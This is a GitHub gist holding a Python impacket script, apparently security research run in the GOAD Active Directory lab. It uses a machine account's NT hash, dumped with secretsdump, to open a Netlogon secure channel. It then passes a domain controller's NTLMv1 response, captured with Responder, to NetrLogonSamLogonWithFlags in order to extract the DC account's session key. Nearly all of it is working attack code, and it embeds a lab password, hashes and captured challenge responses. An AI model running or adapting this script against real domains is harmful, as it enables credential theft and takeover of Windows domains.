Created
December 12, 2024 23:03
-
-
Save ThePirateWhoSmellsOfSunflowers/f41c334f912ec033d9bbfc7e96308ec6 to your computer and use it in GitHub Desktop.
Perform a netrlogonsamlogonwithflags (LogonNetworkTransitive) with a server account, it uses netlogon as SSP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc | |
from impacket.uuid import bin_to_uuidtup | |
from binascii import unhexlify, hexlify | |
from struct import pack, unpack | |
from random import randbytes | |
import sys | |
# Perform a netrlogonsamlogonwithflags with a server account, it uses netlogon as SSP (see [MS-NRPC] 3.3) | |
# Pure TCP RPC is used (ncacn_ip_tcp option) | |
# RC4 is used here because to use AES, impacket must be patched | |
# Hashes are captured during NTLMv1 authentication (Local Security: Sen LM and NTLM, Responder with --disable-ess) | |
# Tested with impacket 0.12.0 on GOAD | |
# Usage example: python3 netrlogonsamlogonwithflags.py | |
# @lowercase_drm | |
# Parameters to setup the secure channel, here we use NORTH\CASTELBLACK account | |
# 192.168.56.11 | |
host="winterfell.north.sevenkingdoms.local" | |
# secretsdump.py north/robb.stark:'sexywolfy'@192.168.56.11 -just-dc-user 'CASTELBLACK$' | |
computer_hash = unhexlify('44fd03f49681d945b76943bae36505c2') | |
# MS-NRPC 3.5.4.1 Binding Handles | |
# it can be '': If the string is NULL, the server is the same as the client (that is, the local computer) | |
primary_name = "" | |
# The client computer calling this method | |
computer_name = 'CASTELBLACK' | |
domain = 'NORTH' | |
# String that identifies the name of the account that contains the secret key (password) that is shared between the client and the server | |
account_name = computer_name + '$' | |
# The set_credentials() method needs a password but it is not used in this script | |
password = 'placeholder' | |
# Choose between INTEGRITY (SIGN) and PRIVACY (SIGN + SEAL) | |
# I recommend to swith to INTEGRITY for debugging with Wireshark | |
#authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY | |
authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY | |
# Parameters for netrlogonsamlogonwithflags | |
# Here, we want to retrieve the session key for DC account, WINTERFELL | |
logon_server = 'WINTERFELL' | |
target_domain = 'north.sevenkingdoms.local' | |
target_username = 'WINTERFELL$' | |
# [SMB] NTLMv1-SSP Hash: WINTERFELL$::NORTH:FE6A034E2BABEF9922D8444B9B975DB0A9CF5D2C7E290E63:FE6A034E2BABEF9922D8444B9B975DB0A9CF5D2C7E290E63:712d0f9a2fb19743 | |
lm_challenge = unhexlify('712d0f9a2fb19743') | |
ntlm_challenge_response = unhexlify('FE6A034E2BABEF9922D8444B9B975DB0A9CF5D2C7E290E63') | |
lm_challenge_response = unhexlify('FE6A034E2BABEF9922D8444B9B975DB0A9CF5D2C7E290E63') | |
nrpc_uid = nrpc.MSRPC_UUID_NRPC | |
syntax = rpcrt.DCERPC.NDR64Syntax | |
print('[+] Calling hept_map: {}'.format(bin_to_uuidtup(nrpc_uid))) | |
binding_string_nrpc = epm.hept_map(host, nrpc_uid, dataRepresentation=syntax, protocol='ncacn_ip_tcp') | |
print("[x] Binding string: {}".format(binding_string_nrpc)) | |
rpctransport = transport.DCERPCTransportFactory(binding_string_nrpc) | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
dce.bind(nrpc.MSRPC_UUID_NRPC, transfer_syntax=bin_to_uuidtup(syntax)) | |
# First of all, we need to generate a session key and a client credential | |
clientchall = randbytes(8) | |
print("[-] client chall: {}".format("".join((format(x, '02x') for x in clientchall)))) | |
print("[x] Calling NetrServerReqChallenge") | |
resp = nrpc.hNetrServerReqChallenge(dce, primary_name, computer_name + '\x00', clientchall) | |
print("[x] NetrServerReqChallenge ok!") | |
serverchall = resp["ServerChallenge"] | |
print("[-] server chall: {}".format("".join((format(x, '02x') for x in serverchall)))) | |
sessionKey = nrpc.ComputeSessionKeyStrongKey(None, clientchall, serverchall, computer_hash) | |
clientcred = nrpc.ComputeNetlogonCredential(clientchall, sessionKey) | |
print("[-] session Key: {}".format("".join((format(x, '02x') for x in sessionKey)))) | |
print("[-] client credential: {}".format("".join((format(x, '02x') for x in clientcred)))) | |
print("[+] Calling NetrServerAuthenticate3") | |
# Flag 0x600FFFFF to use RC4, 0x613FFFFF to use AES (but you need to patch impacket) | |
# TrustedDnsDomainSecureChannel to use a trust account | |
resp = nrpc.hNetrServerAuthenticate3(dce, primary_name + '\x00', account_name + '\x00', | |
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, | |
computer_name + '\x00', clientcred, 0x600FFFFF) | |
print("[x] NetrServerAuthenticate3 ok!") | |
# Life is too short to verify server credential, so we only display it | |
servercred = resp['ServerCredential'] | |
print("[-] server credential: {}".format("".join((format(x, '02x') for x in servercred)))) | |
# Always call set_auth_level() after set_credentials() | |
# because set_credentials() reset the auth level to RPC_C_AUTHN_LEVEL_CONNECT | |
dce.set_credentials(computer_name + '$', password, domain) | |
dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON) | |
dce.set_auth_level(authn_level_packet) | |
# dce.alter_ctx does not keep confounder settings and increments ctx_id, so we use bind() with alter=1 | |
resp = dce.bind(nrpc.MSRPC_UUID_NRPC, alter=1, transfer_syntax=bin_to_uuidtup(syntax)) | |
auth = nrpc.ComputeNetlogonAuthenticator(clientcred, sessionKey) | |
print("[-] Netlogon authenticator: {}".format("".join((format(x, '02x') for x in auth['Credential'])))) | |
dce.set_session_key(sessionKey) | |
print('[+] Calling NetrLogonGetCapabilities') | |
# This is our real test to know if the secure channel is ok | |
resp = nrpc.hNetrLogonGetCapabilities(dce, primary_name, computer_name, auth) | |
print("[x] NetrLogonGetCapabilities ok!") | |
# [MS-NRPC] 3.1.4.5 : If this is successful, the client stores the Netlogon credential | |
# part of the Netlogon authenticator as the new Netlogon credential. | |
# If you want to perform multiple calls, keep in mind to update the authenticator with the ReturnAuthenticator | |
# if you keep the same, server will return `0xc0000022 - STATUS_ACCESS_DENIED`. | |
auth = resp['ReturnAuthenticator'] | |
print("[-] Returned auth: {}".format("".join((format(x, '02x') for x in auth['Credential'])))) | |
# Authentication and secure channel are ok, we can now call NetrLogonSamLogonWithFlags() | |
# impacket does not provide helper for it, so you need to manually create the PDU | |
request = nrpc.NetrLogonSamLogonWithFlags() | |
request['LogonServer'] = logon_server + '\x00' | |
request['ComputerName'] = computer_name + '\x00' | |
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 | |
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation | |
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation | |
request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = target_domain | |
# ParameterControl is a mystery for me. This value is based on impacket's example, but what does it mean? | |
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/81c44fa0-0a27-41b3-b607-de39cce7ea1d | |
# b'\x60\x00\x00\x00' works but not b'\x50\x00\x00\x00' (SessionError: code: 0xc000019a - STATUS_NOLOGON_SERVER_TRUST_ACCOUNT) | |
# help needed | |
request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = unpack('<L', b'\xe0\x2a\x00\x00')[0] | |
request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = target_username | |
request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' | |
request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = lm_challenge | |
request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = ntlm_challenge_response | |
request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = lm_challenge_response | |
request['Authenticator'] = auth | |
request['ReturnAuthenticator']['Credential'] = b'\x00'*8 | |
request['ReturnAuthenticator']['Timestamp'] = 0 | |
request['ExtraFlags'] = 0 | |
print('[+] Calling NetrLogonSamLogonWithFlags') | |
resp = dce.request(request) | |
print("[x] NetrLogonSamLogonWithFlags ok!") | |
sessionKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] | |
print('[*] {0}\\{1} session key is: {2}'.format(target_domain, target_username, hexlify(sessionKey).decode('utf-8'))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment